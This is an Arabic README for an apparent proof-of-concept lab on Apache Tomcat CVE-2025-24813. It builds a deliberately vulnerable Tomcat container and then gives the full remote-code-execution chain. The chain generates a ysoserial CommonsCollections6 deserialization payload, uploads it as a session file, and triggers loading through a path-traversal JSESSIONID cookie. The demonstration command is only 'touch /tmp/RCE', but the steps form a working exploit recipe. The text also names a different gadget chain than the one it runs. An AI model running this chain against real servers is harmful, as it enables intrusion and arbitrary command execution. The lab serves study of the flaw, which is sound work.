
إثبات مفهوم يوضح ثغرة Apache Tomcat CVE-2025-24813، مستغلًا عدم أمان PUT في DefaultServlet وإلغاء تسلسل الجلسات لتحقيق تنفيذ التعليمات البرمجية عن بُعد.
يحتوي هذا المستودع على تطبيق بسيط تم بناؤه لمراقبة سلوك CVE-2025-24813، وهو ثغرة أمنية حديثة في Apache Tomcat تتعلق باستخدام DefaultServlet مع تمكين الكتابة (readonly=false)، مما يسمح بـ عمليات كتابة غير آمنة عبر HTTP PUT (مع دعم PUT الجزئي / Content-Range) والتي قد تؤدي إلى استبدال ملفات حساسة، بما في ذلك ملفات الجلسة — مما يُمكّن سيناريوهات تنفيذ التعليمات البرمجية عن بُعد (RCE) في حالة حدوث إلغاء تسلسل ضار.
يستخدم التطبيق:
| المكون | الوظيفة |
|---|
| Tomcat 9 + JDK 11 | خادم ضعيف يُستخدم كهدف |
context.xml | يُمكّن PersistentManager + FileStore لحفظ الجلسات على القرص |
upload.jsp | نقطة نهاية بسيطة تستقبل البيانات وتكتبها على القرص |
/tmp/app-data/ | الدليل الذي سيتم حفظ التحميلات فيه |
الفكرة الأولية هي مراقبة كيفية تعامل Tomcat مع الملفات في بيئة مهيأة لدراسة CVE — بدءًا بطلب غير ضار يقوم فقط بكتابة ملف بشكل محكوم (بدون محاولة استغلال) ثم ملف خبيث.
docker build -t tomcat-cve-2025-24813 .
docker run -d --name toy-cve -p 8080:8080 tomcat-cve-2025-24813
في طرفية أخرى، نفذ الأوامر التالية.
PID=$(docker inspect -f '{{.State.Pid}}' toy-cve)
sudo strace -f -p $PID -e trace=execve -s 200
سنرسل ملفًا بسيطًا لمراقبة السلوك الطبيعي.
تحميل عن طريق إرسال سلسلة نصية
echo "Arquivo Normal" > nota.txt
curl -X POST http://localhost:8080/upload.jsp \
-H "X-Filename: nota.txt" \
--data-binary "Essa é apenas uma mensagem simples."
إذا كان كل شيء صحيحًا، في الطرفية التي تشغل strace لا ينبغي أن يظهر شيء.
ملاحظة: إذا ظهرت أخطاء SIGSEGV في strace، تجاهلها. إنها ضوضاء من JVM.
wget -O ysoserial-all.jar https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
هنا نستخدم سلسلة CommonsCollections4 لتوليد كائن يمكنه، في سيناريو ضعيف، تنفيذ الأمر touch /tmp/RCE. سيتم حفظ الحمولة باسم hack.session.
java -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session
إذا أعطى الأمر السابق خطأ، فلضمان التوافق مع الإصدارات الحديثة من Java (9+)، من الضروري إضافة العلامة --add-opens لتعطيل التغليف القوي (JPMS)، والذي من شأنه أن يمنع الانعكاس الذي يستخدمه ysoserial.
java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session
بعد هذا الأمر سيكون لديك ملف ثنائي محلي:
hack.session
نرسل ملف .session إلى نقطة نهاية JSP، التي تكتب المحتوى مباشرة في الدليل /tmp/app-data.
curl -v -X POST \
-H "X-Filename: hack.session" \
--data-binary @hack.session \
http://localhost:8080/upload.jsp
المخرجات المتوقعة:
تم حفظ الملف بنجاح في: /tmp/app-data/hack.session
📌 في هذه اللحظة لا يتم تنفيذ أي أمر — فقط حدثت كتابة ملف على الخادم.
الآن نقوم بإرسال طلب يحوي الكوكيز JSESSIONID=hack، محاولين إجبار Tomcat على تحميل الجلسة التي تم إنشاؤها حديثًا.
curl -v http://localhost:8080/index.jsp -H "Cookie: JSESSIONID=../../../../../../tmp/app-data/hack"
بالنظر إلى الطرفية التي تشغل strace، يجب أن تظهر أوامر execve تقوم بإنشاء الملف.
لمعرفة ما إذا تم إنشاء الملف، يمكننا أيضًا الدخول إلى الحاوية والتحقق
docker exec -it toy-cve ls -l /tmp/